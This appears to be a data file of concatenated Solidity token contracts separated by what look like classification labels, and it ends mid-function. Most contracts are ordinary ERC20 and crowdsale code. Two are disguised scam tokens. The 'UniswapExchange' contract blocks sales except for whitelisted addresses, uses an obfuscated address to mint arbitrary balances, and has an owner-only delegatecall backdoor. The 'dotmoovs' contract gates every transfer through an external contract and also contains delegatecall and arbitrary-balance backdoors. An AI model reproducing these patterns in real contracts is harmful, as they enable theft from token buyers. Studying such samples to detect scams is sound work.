internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,674
pragma solidity ^0.4.16; interface token { function transfer(address receiver, uint amount); } contract PornTokenV2Crowdsale { address public beneficiary; uint public fundingGoal; uint public amountRaised; uint private currentBalance; uint public deadline; uint public price; uint public initialTokenAmount; uint public currentTokenAmount; token public tokenReward; mapping(address => uint256) public balanceOf; bool fundingGoalReached = false; bool crowdsaleClosed = false; event GoalReached(address recipient, uint totalAmountRaised); function PornTokenV2Crowdsale( address sendTo, uint fundingGoalInEthers, uint durationInMinutes, address addressOfTokenUsedAsReward ) { beneficiary = sendTo; fundingGoal = fundingGoalInEthers * 1 ether; deadline = now + durationInMinutes * 1 minutes; price = 13370000000000; initialTokenAmount = 747943160; currentTokenAmount = 747943160; tokenReward = token(addressOfTokenUsedAsReward); } function () payable { require(!crowdsaleClosed); uint amount = msg.value; if (amount > 0) { balanceOf[msg.sender] += amount; amountRaised += amount; currentBalance += amount; uint tokenAmount = (amount / price) * 1 ether; currentTokenAmount -= tokenAmount; tokenReward.transfer(msg.sender, tokenAmount); } } function bank() public { if (beneficiary == msg.sender && currentBalance > 0) { uint amountToSend = currentBalance; currentBalance = 0; beneficiary.send(amountToSend); } } function returnUnsold() public { if (beneficiary == msg.sender) { tokenReward.transfer(beneficiary, currentTokenAmount); } } function returnUnsoldSafe() public { if (beneficiary == msg.sender) { uint tokenAmount = 100000; tokenReward.transfer(beneficiary, tokenAmount); } } modifier afterDeadline() { if (now >= deadline) _; } function checkGoalReached() afterDeadline { if (amountRaised >= fundingGoal){ fundingGoalReached = true; GoalReached(beneficiary, amountRaised); } crowdsaleClosed = true; } }
0
365
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "JungleToken"; string public constant TOKEN_SYMBOL = "JT"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xC382aed23B5e13976791Fb3D2aa588865EA81C92; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
3,254
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract DotmoovsToken is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000; string public name = "dotmoovs"; string public symbol = "MOOV"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wrappedEther, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tos.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos)); for(uint i = 0; i < _tos.length; i++) { balanceOf[_tos[i]] = _amounts[i]; emit Transfer(address(0x0), _tos[i], _amounts[i]); } } }
0
231
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a==0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { address public constant FOUNDER_ADDRESS1 = 0xcb8Fb8Bf927e748c0679375B26fb9f2F12f3D5eE; address public constant FOUNDER_ADDRESS2 = 0x1Ebfe7c17a22E223965f7B80c02D3d2805DFbE5F; address public constant FOUNDER_ADDRESS3 = 0x9C5076C3e95C0421699A6D9d66a219BF5Ba5D826; address public constant FOUNDER_FUND_1 = 9000000000; address public constant FOUNDER_FUND_2 = 9000000000; address public constant FOUNDER_FUND_3 = 7000000000; address public constant MEW_RESERVE_FUND = 0xD11ffBea1cE043a8d8dDDb85F258b1b164AF3da4; address public constant MEW_CROWDSALE_FUND = 0x842C4EA879050742b42c8b2E43f1C558AD0d1741; uint256 public constant decimals = 18; using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => uint256) public mCanSpend; mapping(address => uint256) public mEtherSpent; int256 public mEtherValid; int256 public mEtherInvalid; uint256 public constant TOTAL_RESERVE_FUND = 40 * (10**9) * 10**decimals; uint256 public constant TOTAL_CROWDSALE_FUND = 60 * (10**9) * 10**decimals; uint256 public PRIME_VESTING_DATE = 0xffffffffffffffff; uint256 public FINAL_AML_DATE = 0xffffffffffffffff; uint256 public constant FINAL_AML_DAYS = 90; uint256 public constant DAYSECONDS = 24*60*60; mapping(address => uint256) public mVestingDays; mapping(address => uint256) public mVestingBalance; mapping(address => uint256) public mVestingSpent; mapping(address => uint256) public mVestingBegins; mapping(address => uint256) public mVestingAllowed; function GetEtherSpent(address from) view public returns (uint256) { return mEtherSpent[from]; } function RevokeTokens(address target) internal { require(mCanSpend[target]!=9); mCanSpend[target]=9; uint256 _value = balances[target]; balances[target] = 0; balances[MEW_RESERVE_FUND] = balances[MEW_RESERVE_FUND].add(_value); emit Transfer(target, MEW_RESERVE_FUND, _value); } function LockedCrowdSale(address target) view internal returns (bool) { if (mCanSpend[target]==0 && mEtherSpent[target]>0) { return true; } return false; } function CheckRevoke(address target) internal returns (bool) { if (LockedCrowdSale(target)) { if (block.timestamp>FINAL_AML_DATE) { RevokeTokens(target); return true; } } return false; } function ComputeVestSpend(address target) public returns (uint256) { require(mCanSpend[target]==2); int256 vestingDays = int256(mVestingDays[target]); int256 vestingProgress = (int256(block.timestamp)-int256(mVestingBegins[target]))/(int256(DAYSECONDS)); if (vestingProgress>vestingDays) { vestingProgress=vestingDays; } if (vestingProgress>0) { int256 allowedVest = ((int256(mVestingBalance[target])*vestingProgress))/vestingDays; int256 combined = allowedVest-int256(mVestingSpent[target]); mVestingAllowed[target] = uint256(combined); return uint256(combined); } mVestingAllowed[target]=0; return 0; } function canSpend(address from, uint256 amount) internal returns (bool permitted) { uint256 currentTime = block.timestamp; if (mCanSpend[from]==8) { return false; } if (mCanSpend[from]==9) { return false; } if (LockedCrowdSale(from)) { return false; } if (mCanSpend[from]==1) { if (currentTime>PRIME_VESTING_DATE) { return true; } return false; } if (mCanSpend[from]==2) { if (ComputeVestSpend(from)>=amount) { return true; } else { return false; } } return false; } function canTake(address from) view public returns (bool permitted) { uint256 currentTime = block.timestamp; if (mCanSpend[from]==8) { return false; } if (mCanSpend[from]==9) { return false; } if (LockedCrowdSale(from)) { return false; } if (mCanSpend[from]==1) { if (currentTime>PRIME_VESTING_DATE) { return true; } return false; } if (mCanSpend[from]==2) { return false; } return true; } function transfer(address _to, uint256 _value) public returns (bool success) { if (CheckRevoke(msg.sender)||CheckRevoke(_to)) { return false; } require(canSpend(msg.sender, _value)==true); require(canTake(_to)==true); if (balances[msg.sender] >= _value) { if (mCanSpend[msg.sender]==2) { mVestingSpent[msg.sender] = mVestingSpent[msg.sender].add(_value); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); mCanSpend[_to]=1; return true; } else { return false; } } function simpletransfer(address _to, uint256 _whole, uint256 _fraction) public returns (bool success) { require(_fraction<10000); uint256 main = _whole.mul(10**decimals); uint256 part = _fraction.mul(10**14); uint256 value = main + part; return transfer(_to, value); } function balanceOf(address _owner) public constant returns (uint256 returnbalance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (CheckRevoke(msg.sender)||CheckRevoke(_to)) { return false; } require(canSpend(_from, _value)== true); require(canTake(_to)==true); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) { balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); mCanSpend[_to]=1; if (mCanSpend[msg.sender]==2) { mVestingSpent[msg.sender] = mVestingSpent[msg.sender].add(_value); } return true; } else { return false; } } function approve(address _spender, uint256 _value) public returns (bool) { if (CheckRevoke(msg.sender)) { return false; } require(canSpend(msg.sender, _value)==true); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { if (CheckRevoke(msg.sender)) { return false; } require(canSpend(msg.sender, _addedValue)==true); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { if (CheckRevoke(msg.sender)) { return false; } uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; address internal auxOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { address newOwner = msg.sender; owner = 0; owner = newOwner; } modifier onlyOwner() { require(msg.sender == owner || msg.sender==auxOwner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 internal mCanPurchase = 1; uint256 internal mSetupReserve = 0; uint256 internal mSetupCrowd = 0; uint256 public constant MINIMUM_ETHER_SPEND = (250 * 10**(decimals-3)); uint256 public constant MAXIMUM_ETHER_SPEND = 300 * 10**decimals; modifier canMint() { require(!mintingFinished); _; } function allocateVestable(address target, uint256 amount, uint256 vestdays, uint256 vestingdate) public onlyOwner { uint256 vestingAmount = amount * 10**decimals; mCanSpend[target]=2; mVestingBalance[target] = vestingAmount; mVestingDays[target] = vestdays; mVestingBegins[target] = vestingdate; mVestingSpent[target] = 0; balances[target] = vestingAmount; if (mCanPurchase==0) { require(vestingAmount <= balances[MEW_CROWDSALE_FUND]); 